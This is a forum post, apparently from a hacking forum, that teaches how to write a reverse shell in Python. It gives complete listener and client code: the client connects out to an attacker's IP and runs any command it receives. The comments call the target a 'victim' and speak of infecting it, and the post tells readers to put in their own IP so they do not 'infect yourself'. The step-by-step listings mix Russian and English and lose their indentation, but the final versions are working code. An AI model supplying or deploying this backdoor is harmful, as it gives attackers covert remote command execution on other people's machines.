Creating a Quick Reverse Shell in Python

Tr0jan_Horse

Moderator
Staff member
MODERATOR
ULTIMATE
PREMIUM
MEMBER
Joined
Oct 23, 2024
Messages
304
Reaction score
8,788
Deposit
0$
1746393771304.png
Hello everyone. I offer you a short article on how to write a fast Reverse Shell in the Python programming language.

Let's start by connecting the libraries we need.
subprocess, socket

Writing the server part
Python:
We tell the socket that we will work via the TCP protocol (this is a more reliable connection).
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Затем создадим бесконечный цикл, для того чтобы наша программа не завершилась после первой команды.
# Принимаем строковое значение.
while True:
command = input('Enter command: ')
# Отправляем команду клиенту в закодированом виде.
client.send(command.encode()) 

# Создадим ещё команду exit, если мы уже достаточно напакостили и хотим выйти.
if command.lower() == 'exit':
    break
# Создаём переменную для получения результата от жертвы и декодируем её.
result_output = client.recv(4096).decode()
# И выводим с помощью print.
print(result_output)
# Теперь закрываем все подключения.
client.close()
s.close()
Great, the server side is ready, the full code looks like this:
Python:
import socket


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8888))
s.listen(5)


client, addr = s.accept()


while True:
    command = input('Enter command: ')
    client.send(command.encode())
    if command.lower() == 'exit':
        break
    result_output = client.recv(4096).decode()
    print(result_output)


client.close()
s.close()

Client side:
Python:
# Writing the client part
# Here we need to add another library, namely subprocess, it will allow us to execute commands.
Python:

import subprocess

# We also tell the script that we will work via TCP.

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Now we initialize the connection to the server part of the script.
s.connect(('127.0.0.1', 8888))
# We will create a while True loop in which the script will wait for commands from the server and decode them.
while True:
command = s.recv(4096).decode()

# We will also create a condition for exiting.

if command.lower() == 'exit':
break

# Finally, the output and sending of the output from the client.

output = subprocess.getoutput(command)
s.send(output.encode())


# Close the socket.

s.close()
The full code looks like this:
Python:
import socket
import subprocess


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


s.connect(('127.0.0.1', 8888))


while True:
    command = s.recv(4096).decode()
    if command.lower() == 'exit':
        break
    output = subprocess.getoutput(command)
    s.send(output.encode())


s.close()
Where it says 127.0.0.1, you need to substitute your IP accordingly, otherwise you will infect yourself.
Note that in the connect and blind methods I use 2 brackets, because this is a tuple.
1746394459890.png
Success
 
Top Bottom